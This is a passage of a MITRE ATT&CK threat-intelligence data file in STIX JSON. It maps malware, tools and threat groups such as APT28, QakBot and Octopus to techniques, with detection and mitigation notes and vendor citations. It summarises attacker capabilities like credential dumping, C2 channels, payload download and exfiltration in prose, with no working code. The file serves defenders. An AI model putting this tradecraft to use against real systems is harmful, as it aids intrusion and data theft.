2015)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6df6b4b6-95f4-469f-8fdf-7622c2607f07","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor for web traffic to/from known-bad or suspicious domains and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dfdfcc8-ff89-4991-830a-5ca31f43b251","type":"relationship","created":"2019-01-29T20:08:24.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.824Z","description":"(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"malware--b4d80f8b-d2b9-4448-8844-4bef777ed676","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e06ca98-ec9a-4175-a154-4d4f1394774b","type":"relationship","created":"2020-07-27T15:48:13.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-27T18:55:17.711Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can use HTTP and HTTPS in C2 communications.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e0796d1-4bba-4e18-85fd-8e0d86bf8b35","type":"relationship","created":"2019-01-30T15:43:19.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Oceansalt Oct 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."}],"modified":"2019-02-12T21:14:11.186Z","description":"[OceanSalt](https://attack.mitre.org/software/S0346) can delete files from the system.(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e122559-0e6e-4514-aa60-652e99292077","type":"relationship","created":"2020-06-10T17:43:03.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.163Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e1346fe-507c-4ab3-a254-ea00e226fafd","created":"2022-01-09T22:14:54.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.678Z","description":"[Zox](https://attack.mitre.org/software/S0672) can enumerate files on a compromised host.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e137013-3837-4b56-8424-4ea6d87044b5","type":"relationship","created":"2021-10-14T15:12:18.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Nomadic Octopus 2018","url":"https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf","description":"Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021."}],"modified":"2021-10-14T15:12:18.068Z","description":"[Octopus](https://attack.mitre.org/software/S0340) has exfiltrated data to file sharing sites.(Citation: ESET Nomadic Octopus 2018)","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e1e5bab-151b-4be9-9c96-5cb4c66ff540","type":"relationship","created":"2019-01-31T01:39:56.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"SecureAuth. (n.d.). Retrieved January 15, 2019.","url":"https://www.secureauth.com/labs/open-source-tools/impacket","source_name":"Impacket Tools"}],"modified":"2019-04-18T21:49:12.781Z","description":"[Impacket](https://attack.mitre.org/software/S0357) contains various modules emulating other service execution tools such as [PsExec](https://attack.mitre.org/software/S0029).(Citation: Impacket Tools)","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e1e9f11-ab28-48cc-b392-f2863707fe11","type":"relationship","created":"2020-09-23T15:18:36.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.423Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can can use a named pipe to forward communications from one compromised machine with internet access to other compromised machines.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e20b61f-bf7e-40a3-b7b9-98d79e5a3ecd","type":"relationship","created":"2021-05-26T12:48:29.916Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.","url":"https://lab52.io/blog/wirte-group-attacking-the-middle-east/","source_name":"Lab52 WIRTE Apr 2019"}],"modified":"2021-05-26T12:48:29.916Z","description":"[WIRTE](https://attack.mitre.org/groups/G0090) has obtained and used [Empire](https://attack.mitre.org/software/S0363) for post-exploitation activities.(Citation: Lab52 WIRTE Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e23cb4f-61dd-4a6a-8c25-7eb79c376558","type":"relationship","created":"2020-05-06T15:26:38.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"JPCert PLEAD Downloader June 2018","url":"https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html","description":"Tomonaga, S. (2018, June 8). PLEAD Downloader Used by BlackTech. Retrieved May 6, 2020."}],"modified":"2020-05-06T15:26:38.753Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) has the ability to proxy network communications.(Citation: JPCert PLEAD Downloader June 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e24d8d1-7376-493f-a85c-75448c80efed","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"F-Secure CozyDuke","description":"F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/CozyDuke"}],"modified":"2020-11-23T17:03:38.865Z","description":"The [CozyCar](https://attack.mitre.org/software/S0046) dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main [CozyCar](https://attack.mitre.org/software/S0046) component.(Citation: F-Secure CozyDuke)","relationship_type":"uses","source_ref":"malware--e6ef745b-077f-42e1-a37d-29eecff9c754","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6e29a022-0d70-4176-b2ad-63bec58e474d","created":"2022-03-30T14:26:51.875Z","x_mitre_version":"0.1","external_references":[{"source_name":"Apple Unified Log Analysis Remote Login and Screen Sharing","url":"https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins","description":"Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] – Working From Home? Remote Logins. Retrieved August 19, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely control machines using Virtual Network Computing (VNC). For example, on macOS systems the screensharingd process may be related to VNC connection activity.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)","modified":"2022-04-19T23:53:30.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e2a0844-3618-41a7-b45d-12ad690f60a1","created":"2020-03-17T02:03:18.259Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.411Z","description":"[OLDBAIT](https://attack.mitre.org/software/S0138) can use SMTP for C2.(Citation: FireEye APT28)","relationship_type":"uses","source_ref":"malware--2dd34b01-6110-4aac-835d-b5e7b936b0be","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e2b1acc-87b5-4947-a933-b376d48b126a","created":"2022-09-08T13:50:20.238Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:50:20.238Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used PowerShell to execute commands.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e311ecd-a80d-411b-aaef-ddc69749a8a8","created":"2021-09-30T14:12:25.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Black Basta October 2022","description":"Kenefick, I. et al. (2022, October 12). Black Basta Ransomware Gang Infiltrates Networks via QAKBOT, Brute Ratel, and Cobalt Strike. Retrieved February 6, 2023.","url":"https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html"},{"source_name":"Kaspersky QakBot September 2021","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021.","url":"https://securelist.com/qakbot-technical-analysis/103931/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-15T18:22:13.697Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can use net localgroup to enable discovery of local groups.(Citation: Kaspersky QakBot September 2021)(Citation: Trend Micro Black Basta October 2022)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e32fdd0-c094-405e-8246-7502c9aedb68","type":"relationship","created":"2020-10-19T19:53:10.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-22T17:49:03.063Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control.(Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e33c2e7-90b9-4d1e-9925-74d9cf2b4ef6","created":"2024-10-03T10:15:12.937Z","revoked":false,"external_references":[{"source_name":"Lumen KVBotnet 2023","description":"Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.","url":"https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-03T10:15:12.937Z","description":"[KV Botnet Activity](https://attack.mitre.org/campaigns/C0035) included the use of scripts to download additional payloads when compromising network nodes.(Citation: Lumen KVBotnet 2023)","relationship_type":"uses","source_ref":"campaign--0c259854-4044-4f6c-ac49-118d484b3e3b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6e35a13a-3455-4578-8215-9dea6be13cbd","created":"2022-03-30T14:26:51.845Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to AD settings for unexpected modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain.","modified":"2022-04-28T14:58:49.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e366a30-cf75-4a47-855f-91a006014ada","type":"relationship","created":"2017-05-31T21:33:27.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"modified":"2019-08-20T13:08:13.444Z","description":"(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lotus Blossom Jun 2015","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"},{"description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND ASSOCIATES. Retrieved November 14, 2018.","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","source_name":"Accenture Dragonfish Jan 2018"}],"modified":"2019-10-25T15:23:58.429Z","description":"A variant of [Elise](https://attack.mitre.org/software/S0081) executes dir C:\\progra~1 when initially run.(Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)","relationship_type":"uses","source_ref":"malware--7551188b-8f91-4d34-8350-0d0c57b2b913","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e43af09-b4bb-46dc-87f3-e2b72e70b47a","type":"relationship","created":"2021-10-17T15:10:00.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.711Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used a variety of credential dumping tools.(Citation: TrendMicro Tonto Team October 2020) ","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e478b50-57b3-418b-b866-8441be0036b6","created":"2023-12-07T19:40:01.811Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-07T19:40:01.811Z","description":"[Cinnamon Tempest](https://attack.mitre.org/groups/G1021) has obtained highly privileged credentials such as domain administrator in order to deploy malware.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e4ba4ea-69c2-4e44-a69b-1f128dc1dcfe","created":"2024-09-04T17:28:24.547Z","revoked":false,"external_references":[{"source_name":"Github Covenant","description":"cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.","url":"https://github.com/cobbr/Covenant"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:28:24.547Z","description":"[Covenant](https://attack.mitre.org/software/S1155) provides access to a Command Shell in Windows environments for follow-on command execution and tasking.(Citation: Github Covenant)","relationship_type":"uses","source_ref":"tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e4d32b9-923f-46a9-887e-4d4d0687fd1b","type":"relationship","created":"2020-05-18T17:31:39.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.451Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.(Citation: McAfee Maze March 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6e54e834-521f-4da8-b3ae-963185496a60","created":"2023-09-21T17:45:05.597Z","revoked":false,"external_references":[{"source_name":"NCC Group LAPSUS Apr 2022","description":"Brown, D., et al. (2022, April 28). LAPSUS$: Recent techniques, tactics and procedures. Retrieved December 22, 2022.","url":"https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-21T17:45:05.597Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has shut down virtual machines from within a victim's on-premise VMware ESXi infrastructure.(Citation: NCC Group LAPSUS Apr 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e576576-bcd8-42ca-aa0a-8e3e24aaeafc","type":"relationship","created":"2019-01-29T19:55:48.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","source_name":"Kaspersky Turla"}],"modified":"2019-07-26T16:10:42.525Z","description":"[Epic](https://attack.mitre.org/software/S0091) uses the net view command on the victim’s machine.(Citation: Kaspersky 